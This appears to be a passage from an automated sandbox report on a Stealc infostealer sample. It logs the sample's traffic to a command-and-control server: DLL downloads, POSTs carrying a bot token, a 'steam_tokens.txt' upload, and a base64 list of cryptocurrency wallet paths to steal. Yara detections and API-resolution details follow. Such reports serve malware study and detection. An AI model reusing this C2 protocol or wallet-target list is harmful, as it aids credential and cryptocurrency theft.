Sep 25, 2024 21:52:06.932394028 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 25, 2024 21:52:10.768493891 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 25, 2024 21:52:11.018306017 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 25, 2024 21:52:11.597384930 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Sep 25, 2024 21:52:11.820204973 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 25, 2024 21:52:12.742769957 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDH Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 25, 2024 21:52:13.597671986 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:52:13.674839020 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFH Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 41 4b 4b 4b 46 42 47 44 47 43 41 4b 46 43 46 48 2d 2d 0d 0a Data Ascii: ------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------FBFCAKKKFBGDGCAKFCFHContent-Disposition: form-data; name="message"wallets------FBFCAKKKFBGDGCAKFCFH--
Sep 25, 2024 21:52:13.966362953 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 25, 2024 21:52:13.969907999 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECG Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"ybncbhylepme------KFIIJJJDGCBAAKFIIECG--
Sep 25, 2024 21:52:14.300740957 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:14 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Sep 25, 2024 21:52:14.411637068 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIECGCAEBFIIDHIDGIE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DHIECGCAEBFIIDHIDGIEContent-Disposition: form-data; name="file"------DHIECGCAEBFIIDHIDGIE--
Sep 25, 2024 21:52:15.501180887 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:52:15.501225948 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:52:15.529709101 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="message"files------EHJDHJKFIECAAKFIJJKJ--
Sep 25, 2024 21:52:15.755152941 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 25, 2024 21:52:15.756418943 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 33 38 64 35 37 38 63 61 30 66 37 66 34 39 63 63 62 65 32 34 34 30 32 37 63 66 34 32 37 62 63 61 35 34 63 36 30 61 38 36 62 38 66 64 62 64 64 33 65 63 30 34 32 31 30 61 30 66 63 36 39 37 66 32 37 34 31 33 35 65 63 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"438d578ca0f7f49ccbe244027cf427bca54c60a86b8fdbdd3ec04210a0fc697f274135ec------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGCAFHCAKFBFIECAFIIJ--
Sep 25, 2024 21:52:16.496630907 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 19:52:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	15:51:52
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x60000
File size:	1'866'752 bytes
MD5 hash:	17C8D52F56941D59F429F7C7018A724F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2009086212.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00079860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00D70750), ref: 000798A1
GetProcAddress.KERNEL32(75900000,00D70690), ref: 000798BA
GetProcAddress.KERNEL32(75900000,00D70618), ref: 000798D2
GetProcAddress.KERNEL32(75900000,00D70558), ref: 000798EA
GetProcAddress.KERNEL32(75900000,00D70768), ref: 00079903
GetProcAddress.KERNEL32(75900000,00D78940), ref: 0007991B
GetProcAddress.KERNEL32(75900000,00D66940), ref: 00079933
GetProcAddress.KERNEL32(75900000,00D667A0), ref: 0007994C
GetProcAddress.KERNEL32(75900000,00D70630), ref: 00079964
GetProcAddress.KERNEL32(75900000,00D70570), ref: 0007997C
GetProcAddress.KERNEL32(75900000,00D70798), ref: 00079995
GetProcAddress.KERNEL32(75900000,00D706C0), ref: 000799AD
GetProcAddress.KERNEL32(75900000,00D666C0), ref: 000799C5
GetProcAddress.KERNEL32(75900000,00D706A8), ref: 000799DE
GetProcAddress.KERNEL32(75900000,00D706D8), ref: 000799F6
GetProcAddress.KERNEL32(75900000,00D666E0), ref: 00079A0E
GetProcAddress.KERNEL32(75900000,00D70810), ref: 00079A27
GetProcAddress.KERNEL32(75900000,00D708B8), ref: 00079A3F
GetProcAddress.KERNEL32(75900000,00D669E0), ref: 00079A57
GetProcAddress.KERNEL32(75900000,00D708E8), ref: 00079A70
GetProcAddress.KERNEL32(75900000,00D668E0), ref: 00079A88
LoadLibraryA.KERNEL32(00D70900,?,00076A00), ref: 00079A9A
LoadLibraryA.KERNEL32(00D708D0,?,00076A00), ref: 00079AAB
LoadLibraryA.KERNEL32(00D70918,?,00076A00), ref: 00079ABD
LoadLibraryA.KERNEL32(00D70858,?,00076A00), ref: 00079ACF
LoadLibraryA.KERNEL32(00D708A0,?,00076A00), ref: 00079AE0
GetProcAddress.KERNEL32(75070000,00D70870), ref: 00079B02
GetProcAddress.KERNEL32(75FD0000,00D70888), ref: 00079B23
GetProcAddress.KERNEL32(75FD0000,00D78CA0), ref: 00079B3B
GetProcAddress.KERNEL32(75A50000,00D78C40), ref: 00079B5D
GetProcAddress.KERNEL32(74E50000,00D66A20), ref: 00079B7E
GetProcAddress.KERNEL32(76E80000,00D787F0), ref: 00079B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00079BB6

Strings

NtQueryInformationProcess, xrefs: 00079BAA

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
